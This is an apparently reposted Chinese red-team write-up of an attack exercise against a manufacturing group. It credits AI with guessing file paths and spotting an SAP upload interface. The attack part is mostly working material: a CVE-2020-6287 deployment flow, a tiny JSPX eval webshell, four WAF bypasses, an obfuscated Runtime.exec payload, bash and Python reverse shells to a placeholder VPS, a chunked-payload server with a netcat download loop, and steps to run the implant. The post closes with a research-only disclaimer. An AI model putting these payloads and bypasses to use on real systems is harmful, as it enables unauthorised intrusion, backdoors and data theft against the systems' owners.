当AI遇上红队:一次打穿某集团的攻防实录

admin 2026-08-05 05:04:31 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了一次针对大型制造集团的攻防实战,核心展示了AI在渗透测试中的辅助作用。攻击链从OracleeBusinessSuite的任意文件读取漏洞起步,利用AI推测路径获取敏感信息。随后利用SAPNetWeaver漏洞创建管理员权限,并绕过四重WAF部署webshell。内网突破阶段,通过分块传输绕过网络限制上传木马,最终利用永恒之蓝、Web漏洞和弱口令打穿内网。文章强调AI在路径推测和漏洞利用点发现上显著提升了效率。 综合评分: 90 文章分类: 红队,渗透测试,内网渗透,漏洞分析,实战经验


cover_image

当AI遇上红队:一次打穿某集团的攻防实录

YaYaLiou YaYaLiou

flower安全

2026年8月4日 10:55 甘肃

在小说阅读器读本章

去阅读

当AI遇上红队:一次打穿某集团的攻防实录

最近打了一场攻防演练,目标是一家大型制造集团。这次能打穿,AI确实帮了不少忙——不是那种”AI赋能安全”的空话,是在几个关键节点上实打实省了大量时间。

本文只聊攻击链路,全程脱敏。


Oracle eBusiness Suite 任意文件读取

目标是某集团的OA系统,跑的Oracle eBusiness Suite。测了一下,存在已知的任意文件读取漏洞,能直接读服务器上的文件。

但有个问题——能读文件,不知道该读什么路径。Oracle eBS的目录结构跟部署环境强相关,瞎猜效率太低,试几个不对还容易触发告警。

这时候把系统的响应特征、部署信息整理了一下丢给AI分析,它给了几个可能的用户主目录路径。试了一下,直接命中,读到了 .bash_history

历史命令里信息量爆炸,翻出来一堆东西:应用目录结构、配置文件路径、还有运维的操作习惯(不好脱敏不放了)。顺藤摸瓜找到了数据库连接配置,里面有Oracle的连接凭据:

不过试了下账号密码登不上,也没法getshell,这条线暂时断了。但这个点验证了AI在路径推测上确实好使——人工可能得试几十个路径,AI跑几轮就给了对的。


SAP NetWeaver 漏洞链

任意用户创建

目标还有一套SAP NetWeaver Application Server Java,存在CVE-2020-6287。直接用PoC创建了个管理员用户,登录进去能看到所有功能点。

但卡住了——有管理员权限,却找不到能部署或上传文件的地方。而且站上有WAF,打nday时XML payload直接被拦。

找到利用点

这块卡了一阵。后来把SAP的功能模块和已知接口信息整理了一下让AI分析,它很快指出有个 DeployWS 接口可以上传部署WAR包。这个发现就是整个攻击链的转折点。

四重WAF绕过

找到了利用点,但WAF挡在前面,一共过了四道关。

第一关:请求体大小限制

WAF限制请求体最多912字节,常规WAR包远超这个大小。

解决方案是用超小型webshell——shell本身不干活,只做个类似PHP eval 的中转,实际执行的代码通过请求头动态传入:

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"&nbsp;version="2.0">
<jsp:directive.page contentType="text/plain"&nbsp;import="javax.script.*"/>
<jsp:scriptlet>
String x=request.getHeader("C");
if(x!=null){
&nbsp; ScriptEngine e=new&nbsp;ScriptEngineManager().getEngineByName("js");
&nbsp; e.put("o",out);
&nbsp; e.eval(x);
}
</jsp:scriptlet></jsp:root>

第二关:Base64签名被识别

WAR包Base64编码后以 UEsDB 开头(ZIP文件签名),WAF直接拦,gzip也绕不过。

Fuzz了很久,发现一个技巧:在Base64字符串中间插入换行符,WAF识别不了签名,但服务端还能正常解析。就这一个换行,解决了大问题。

第三关:Content-Type被检测

部署WAR包时 text/xml 会被WAF拦。换成变体 application/soap+xml 就过了。

第四关:JSP不让传

服务器不允许上传 .jsp 文件,用 .jspx(JSP的XML格式)绕过。

命令执行

Webshell部署成功后,执行系统命令还得过WAF。传入的Java代码必须混淆,不然还是被拦。用了字符串拼接和字符编码:

C: var R=java.lang;var t=R["Runt"+"ime"];var p=t["getRunt"+"ime"]()["ex"+"ec"]([String.fromCharCode(47,98,105,110,47,115,104),"-c","id"]);var i=p.getInputStream();var b;while((b=i.read())!=-1)o.write(b)

把 RuntimegetRuntimeexec 这些关键词拆开拼接,路径 /bin/sh 用 String.fromCharCode 编码,成功执行系统命令。

完整利用步骤

整理一下完整流程:

# 1. 本地构造超小型jspx webshell和web.xml
mkdir -p /tmp/sw/WEB-INF
cat > /tmp/sw/s.jspx <<&nbsp;'JSPXEOF'
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"&nbsp;version="2.0"><jsp:directive.page contentType="text/plain"&nbsp;import="javax.script.*"/><jsp:scriptlet>
String x=request.getHeader("C");if(x!=null){ScriptEngine e=new ScriptEngineManager().getEngineByName("js");e.put("o",out);e.eval(x);}
</jsp:scriptlet></jsp:root>
JSPXEOF

echo&nbsp;'<?xml version="1.0"?><web-app xmlns="http://java.sun.com/xml/ns/javaee" version="2.5"><display-name>t</display-name></web-app>'&nbsp;> /tmp/sw/WEB-INF/web.xml

# 2. 打包成war并base64编码
cd&nbsp;/tmp/sw && jar -cfM /tmp/sw.war . &&&nbsp;cd&nbsp;/root

# 3. base64中间插入换行符绕过WAF
WAR_B64=$(base64 -w0 /tmp/sw.war)
SPLIT="${WAR_B64:0:2}
${WAR_B64:2}"

# 4. 通过DeployWS接口部署,Content-Type用application/soap+xml绕过
curl -sk&nbsp;"https://目标地址/DeployWSService/DeployWS"&nbsp;\
&nbsp; -u&nbsp;"管理员账号:密码"&nbsp;\
&nbsp; -H&nbsp;"Content-Type: application/soap+xml; charset=utf-8"&nbsp;\
&nbsp; -d&nbsp;"<?xml version=\"1.0\" encoding=\"utf-8\"?>
<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:dep=\"http://sap.com/2009/11/24/deployws\">
<soap:Header/><soap:Body>
<dep:deploy><archiveFiles><content>${SPLIT}</content><fileName>t.war</fileName></archiveFiles></dep:deploy>
</soap:Body></soap:Envelope>"

内网突破

拿到命令执行后,真正的硬仗才开始。内网环境非常恶心,一堆限制:

  1. 上网行为管理拦截:请求外网会被302重定向到深信服上网行为管理页面,HTTP流量全拦
  2. TCP长度限制:TCP连接传输超过13KB就断开
  3. 工具受限:服务器上只有阉割版netcat,功能不全
  4. 集群负载均衡:双机集群,每次执行命令可能落在不同服务器上,状态不连续
  5. 反向代理隔离:公网地址不是服务器真实地址,通过集中转发服务器路由,没法正向连接内部服务器
  6. TLS版本过低:系统太老,连HTTPS直接报错

反弹Shell

常规的bash反弹全部失败:

bash -c {echo,Base64编码}|{base64,-d}|{bash,-i} &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 失败
/bin/bash -i > /dev/tcp/VPS地址/端口 0<& 2>&1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 失败

后来发现服务器上有Python,改用Python反弹:

export RHOST="VPS地址"; export RPORT=端口
python -c&nbsp;'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

连是连上了,但交互一定数量数据就断,没法稳定维持。得想别的办法。

分块传输上马

反弹shell不稳定,得直接传木马上去。折腾了很久,摸索出三个关键点:

  1. netcat可以通过TCP协议分块获取文件内容,绕过上网行为管理的HTTP拦截,但单次不能超过13KB
  2. 连443端口时上网行为管理设备会放宽限制
  3. 木马用MTLS协议通信,完全绕开HTTP限制

思路就是:把木马切成10KB以下的块,VPS上起个TCP服务监听443端口,目标机器用netcat循环连接,每次握手后拿一块,拼起来就是完整的木马。

VPS端——分块服务:

#!/usr/bin/env python3
import&nbsp;socket, os, sys

CHUNK_DIR =&nbsp;"/tmp/chunks"
PORT =&nbsp;443

def&nbsp;main():
&nbsp; &nbsp; chunks = sorted(os.listdir(CHUNK_DIR))
&nbsp; &nbsp; total = len(chunks)
&nbsp; &nbsp; print(f"[*] Total chunks:&nbsp;{total}, listening on 0.0.0.0:{PORT}")

&nbsp; &nbsp; idx =&nbsp;0
&nbsp; &nbsp;&nbsp;while&nbsp;idx < total:
&nbsp; &nbsp; &nbsp; &nbsp; chunk_path = os.path.join(CHUNK_DIR, chunks[idx])
&nbsp; &nbsp; &nbsp; &nbsp; chunk_size = os.path.getsize(chunk_path)

&nbsp; &nbsp; &nbsp; &nbsp; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
&nbsp; &nbsp; &nbsp; &nbsp; s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,&nbsp;1)
&nbsp; &nbsp; &nbsp; &nbsp; s.bind(('0.0.0.0', PORT))
&nbsp; &nbsp; &nbsp; &nbsp; s.listen(1)

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; conn, addr = s.accept()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 握手:要求客户端先发"GO"才发数据
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; conn.settimeout(3)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; handshake = conn.recv(2)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;handshake !=&nbsp;b'GO':
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; conn.close(); s.close();&nbsp;continue

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;with&nbsp;open(chunk_path,&nbsp;'rb')&nbsp;as&nbsp;f:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; conn.sendall(f.read())
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; conn.shutdown(socket.SHUT_WR)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; conn.close()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; idx +=&nbsp;1&nbsp;&nbsp;# 只有成功才推进到下一块
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f" &nbsp;-> Error:&nbsp;{e}, retrying same chunk")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;finally:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s.close()

&nbsp; &nbsp; print(f"[+] All&nbsp;{total}&nbsp;chunks sent!")

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

目标机器端——循环分块下载:

HN=$(hostname); F=/tmp/cfg_${HN}.e; rm -f&nbsp;$F;&nbsp;echo&nbsp;START_$HN
i=0
while&nbsp;[&nbsp;$i&nbsp;-lt 3100 ];&nbsp;do
&nbsp; &nbsp; (printf&nbsp;GO; cat /dev/null) | netcat -w8 VPS地址 443 >>&nbsp;$F&nbsp;2>/dev/null
&nbsp; &nbsp; i=$((i+1))
done
echo&nbsp;DONE; wc -c&nbsp;$F; md5sum&nbsp;$F;&nbsp;echo&nbsp;FILE:$F

下载完成后赋权执行:

cp /tmp/cfg_服务器A.e /tmp/config1.elf
chmod +x /tmp/config1.elf
/tmp/config1.elf &

经过数千次分块传输,木马成功上传并执行,稳定的后门连接终于建立。


打穿内网

木马上线后,用fscan扫了一波内网,结果触目惊心。

永恒之蓝——多台Windows主机存在MS17-010:

内网Web应用漏洞——fscan的webpoc扫到基本上就有:

弱口令遍地都是——数据库、中间件、运维系统全中:

永恒之蓝、Web漏洞、弱口令三管齐下,内网基本拿下了。从外网一个文件读取漏洞起步,经过SAP漏洞利用、四重WAF绕过、内网分块上马,最终打穿整个集团内网。


本文已全面脱敏,仅供安全研究与学习交流,请勿用于非法用途。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:flower安全 YaYaLiou YaYaLiou《当AI遇上红队:一次打穿某集团的攻防实录》

评论:0   参与:  0